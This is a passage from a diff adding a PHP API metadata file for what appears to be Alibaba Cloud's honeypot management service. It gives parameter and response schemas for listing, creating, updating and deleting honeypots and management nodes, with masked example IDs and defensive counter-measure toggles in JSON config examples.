+ ], + 'parameters' => [ + [ + 'name' => 'NodeName', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点名称', + 'description' => '管理节点名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'cyct_cnymu', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => '7d110ca6-05ee-4149-8042-13ad1a41fd****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'HoneypotNodeList' => [ + 'description' => '查询到的节点信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'NodeId' => [ + 'title' => '节点id', + 'description' => '节点ID。', + 'type' => 'string', + 'example' => '7d110ca6-05ee-4149-8042-13ad1a41fd****', + ], + 'NodeName' => [ + 'title' => '节点名称', + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'cyct_cnymu', + ], + 'HoneypotTotalCount' => [ + 'title' => '蜜罐上限数量', + 'description' => '蜜罐上限数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'HoneypotUsedCount' => [ + 'title' => '蜜罐使用数量', + 'description' => '蜜罐使用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ProbeTotalCount' => [ + 'title' => '探针上限数目', + 'description' => '探针上限数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ProbeUsedCount' => [ + 'title' => '探针使用数量', + 'description' => '探针使用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'TotalStatus' => [ + 'title' => '管理节点状态', + 'description' => '管理节点状态。取值：'."\n" + ."\n" + .'- **1**：正常'."\n" + .'- **2**：异常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EcsInstanceId' => [ + 'title' => '实例id', + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 'i-bp1fs3qsc1msa3512k****', + ], + 'CreateTime' => [ + 'description' => '节点创建时间。', + 'type' => 'string', + 'example' => '2022-08-04 15:52:56', + ], + 'SecurityGroupProbeIpList' => [ + 'description' => '放行网段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '放行网段。', + 'type' => 'string', + 'example' => '0.0.0.0/0', + ], + ], + 'AllowHoneypotAccessInternet' => [ + 'description' => '允许蜜罐访问外网。'."\n" + ."\n" + .'- **true**：允许'."\n" + .'- **false**：禁止', + 'type' => 'boolean', + 'example' => 'true', + ], + 'DefaultNode' => [ + 'description' => '节点类型。默认为**false**，取值：'."\n" + .'- **false**：非默认'."\n" + .'- **true**：默认', + 'type' => 'boolean', + 'example' => 'false', + ], + 'NodeIp' => [ + 'description' => '节点IP。', + 'type' => 'string', + 'example' => '119.180.XX.XX', + ], + 'UpgradeAvailable' => [ + 'description' => '该节点是否可升级。取值：'."\n" + .'- **false**：非默认'."\n" + .'- **true**：默认', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '337BEA70-B03D-5370-8420-436F3FCD9924', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotNodeList\\": [\\n {\\n \\"NodeId\\": \\"7d110ca6-05ee-4149-8042-13ad1a41fd****\\",\\n \\"NodeName\\": \\"cyct_cnymu\\",\\n \\"HoneypotTotalCount\\": 10,\\n \\"HoneypotUsedCount\\": 2,\\n \\"ProbeTotalCount\\": 5,\\n \\"ProbeUsedCount\\": 2,\\n \\"TotalStatus\\": 1,\\n \\"EcsInstanceId\\": \\"i-bp1fs3qsc1msa3512k****\\",\\n \\"CreateTime\\": \\"2022-08-04 15:52:56\\",\\n \\"SecurityGroupProbeIpList\\": [\\n \\"0.0.0.0/0\\"\\n ],\\n \\"AllowHoneypotAccessInternet\\": true,\\n \\"DefaultNode\\": false,\\n \\"NodeIp\\": \\"119.180.XX.XX\\",\\n \\"UpgradeAvailable\\": true\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"337BEA70-B03D-5370-8420-436F3FCD9924\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取节点列表', + ], + 'DeleteHoneypotNode' => [ + 'summary' => '删除指定的蜜罐节点。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。'."\n" + .'>调用[ListHoneypotNode](~~ListHoneypotNode~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '670baeee-86c4-46b9-8200-a2c38141a453', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '49FDE92F-A0B8-56CC-B7A8-23B17646CCAD', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"49FDE92F-A0B8-56CC-B7A8-23B17646CCAD\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除蜜罐节点', + ], + 'GetHoneypotNode' => [ + 'summary' => '查询蜜罐管理节点详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。'."\n" + .'>调用[ListHoneypotNode](~~ListHoneypotNode~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'd3dd3864-4e02-4abd-8b6a-8f5f6fec4715', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotNode' => [ + 'description' => '蜜罐管理节点数据。', + 'type' => 'object', + 'properties' => [ + 'NodeId' => [ + 'title' => '节点id', + 'description' => '蜜罐管理节点ID。', + 'type' => 'string', + 'example' => 'a7409a58-bc60-41af-9d36-080d58ae****', + ], + 'NodeName' => [ + 'title' => '节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'gmmc', + ], + 'HoneypotTotalCount' => [ + 'title' => '蜜罐上限数量', + 'description' => '蜜罐上限数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'HoneypotUsedCount' => [ + 'title' => '蜜罐使用数量', + 'description' => '蜜罐使用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'ProbeTotalCount' => [ + 'title' => '探针上限数目', + 'description' => '探针上限数目。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'ProbeUsedCount' => [ + 'title' => '探针使用数量', + 'description' => '探针使用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'TotalStatus' => [ + 'title' => '管理节点状态', + 'description' => '管理节点状态。取值：'."\n" + ."\n" + .'- **0**：准备中'."\n" + .'- **1**：正常运行'."\n" + .'- **2**：异常'."\n" + .'- **4**：启动中'."\n" + .'- **5**：升级中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'EcsInstanceId' => [ + 'title' => '实例id', + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 'i-2vccskxjunf1ag6w****', + ], + 'CreateTime' => [ + 'title' => '创建时间', + 'description' => '创建时间。', + 'type' => 'string', + 'example' => '2022-12-02 17:13:43', + ], + 'SecurityGroupProbeIpList' => [ + 'title' => '放行网段', + 'description' => '放行网段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '放行网段。', + 'type' => 'string', + 'example' => '10.0.0.0/24', + ], + ], + 'AllowHoneypotAccessInternet' => [ + 'description' => '允许蜜罐访问外网。'."\n" + ."\n" + .'- **true**：允许'."\n" + .'- **false**：禁止', + 'type' => 'boolean', + 'example' => 'true', + ], + 'NodeIp' => [ + 'description' => '节点IP地址。', + 'type' => 'string', + 'example' => '101.37.XX.XX', + ], + 'UpgradeAvailable' => [ + 'description' => '该节点是否可升级大版本。取值：'."\n" + ."\n" + .'- **true**：可升级'."\n" + .'- **false**：不可升级', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0A453658-070B-5554-B46C-867425BE4FD4', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotNode\\": {\\n \\"NodeId\\": \\"a7409a58-bc60-41af-9d36-080d58ae****\\",\\n \\"NodeName\\": \\"gmmc\\",\\n \\"HoneypotTotalCount\\": 10,\\n \\"HoneypotUsedCount\\": 5,\\n \\"ProbeTotalCount\\": 20,\\n \\"ProbeUsedCount\\": 15,\\n \\"TotalStatus\\": 2,\\n \\"EcsInstanceId\\": \\"i-2vccskxjunf1ag6w****\\",\\n \\"CreateTime\\": \\"2022-12-02 17:13:43\\",\\n \\"SecurityGroupProbeIpList\\": [\\n \\"10.0.0.0/24\\"\\n ],\\n \\"AllowHoneypotAccessInternet\\": true,\\n \\"NodeIp\\": \\"101.37.XX.XX\\",\\n \\"UpgradeAvailable\\": true\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0A453658-070B-5554-B46C-867425BE4FD4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询蜜罐管理节点详情', + ], + 'CreateHoneypot' => [ + 'summary' => '新增蜜罐实例。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotImageName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。'."\n" + .'> 您可以调用[ListAvailableHoneypot](~~ListAvailableHoneypot~~)接口返回的**HoneypotImageName**字段。', + 'type' => 'string', + 'required' => true, + 'example' => 'HoneyPotImageName', + ], + ], + [ + 'name' => 'HoneypotName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'ruoyi', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一id', + 'description' => '蜜罐管理节点ID。'."\n" + .'> 调用[ListHoneypotNode](~~ListHoneypotNode~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + [ + 'name' => 'HoneypotImageId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像ID', + 'description' => '蜜罐镜像ID。'."\n" + .'> 您可以调用[ListAvailableHoneypot](~~ListAvailableHoneypot~~)接口返回的**HoneypotImageId**字段。', + 'type' => 'string', + 'required' => true, + 'example' => 'sha256:ebc4c102ac407d53733c2373e8888a733ddce86f163ccbe7492ae1cbf26****', + ], + ], + [ + 'name' => 'Meta', + 'in' => 'query', + 'schema' => [ + 'description' => '蜜罐自定义配置。JSON格式。包含以下字段：'."\n" + ."\n" + .'- **trojan_git**：Git反制。取值：'."\n" + .' - **zip**：Git源码包'."\n" + .' - **web**：.git目录泄漏'."\n" + .' - **close**：关闭'."\n" + .'- **trojan_git\\_addr**：Git反制连接地址'."\n" + .'- **trojan_git.zip**：Git反制木马包'."\n" + .'- **burp**：Burp反制。取值：'."\n" + .' - **open**：开启'."\n" + .' - **close**：关闭'."\n" + .'- **portrait_option**：溯源配置。取值：'."\n" + .' - **false**：关闭'."\n" + .' - **true**：开启', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"trojan_git\\":\\"close\\",\\"burp\\":\\"close\\",\\"portrait_option\\":\\"false\\"}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐信息。', + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'managerNodename', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'tcp_proxy', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID。', + 'type' => 'string', + 'example' => 'ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。取值：'."\n" + .'- **starting**：开启'."\n" + .'- **running**：正常'."\n" + .'- **exited**：关闭'."\n" + .'- **upgrade**：更新中'."\n" + .'- **deleting**：正在删除中'."\n" + .'- **resetting**：重置中'."\n" + .'- **created**：完成创建'."\n" + .'- **stopping**：停止中', + 'type' => 'string', + 'example' => 'starting', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'HoneyDisplayName', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + ], + 'Success' => [ + 'description' => '是否调用成功。取值：'."\n" + .'- **true**：调用成功。'."\n" + .'- **false**：调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '29874225-EAAC-5415-8501-32DD20FD29F6', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***\\",\\n \\"State\\": [\\n \\"starting\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"HoneyDisplayName\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"29874225-EAAC-5415-8501-32DD20FD29F6\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '创建蜜罐实例', + ], + 'UpdateHoneypot' => [ + 'summary' => '修改指定蜜罐的配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'Meta', + 'in' => 'query', + 'schema' => [ + 'description' => '蜜罐自定义配置。'."\n" + .'>字段来源于[ListAvailableHoneypot](~~ListAvailableHoneypot~~)接口返回的**Template**字段。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"burp\\":\\"open\\",\\"webshell\\":\\"open\\",\\"trojan_git\\":\\"close\\",\\"portrait_option\\":\\"true\\"}', + ], + ], + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐唯一ID', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => '945607c2ae2a1a737c04599d6608065688bfc6048d9b9d306ce8dc8191c*****', + ], + ], + [ + 'name' => 'HoneypotName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ExtMail', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐信息。', + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'example' => 'hyl-phpmyadmin', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'webpage', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID。', + 'type' => 'string', + 'example' => '868a7579-00b5-4a74-999d-8bd3f411e8a3', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。', + 'type' => 'string', + 'example' => 'running', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'Webmin', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3B323ADD-6CF8-51F6-9047-2F0A4E3F5EFD', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"hyl-phpmyadmin\\",\\n \\"HoneypotImageName\\": \\"webpage\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411e8a3\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"Webmin\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"3B323ADD-6CF8-51F6-9047-2F0A4E3F5EFD\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改蜜罐配置', + ], + 'DeleteHoneypot' => [ + 'summary' => '删除指定的蜜罐。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => '558b5fa40948ebe2171a74757c54dc7e58f761870fa7ee6a105e70947ec82aa9', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E14721CB-B32F-56F2-8490-CDA18E4F9268', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E14721CB-B32F-56F2-8490-CDA18E4F9268\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除蜜罐', + ], + 'ListHoneypot' => [ + 'summary' => '查询蜜罐信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 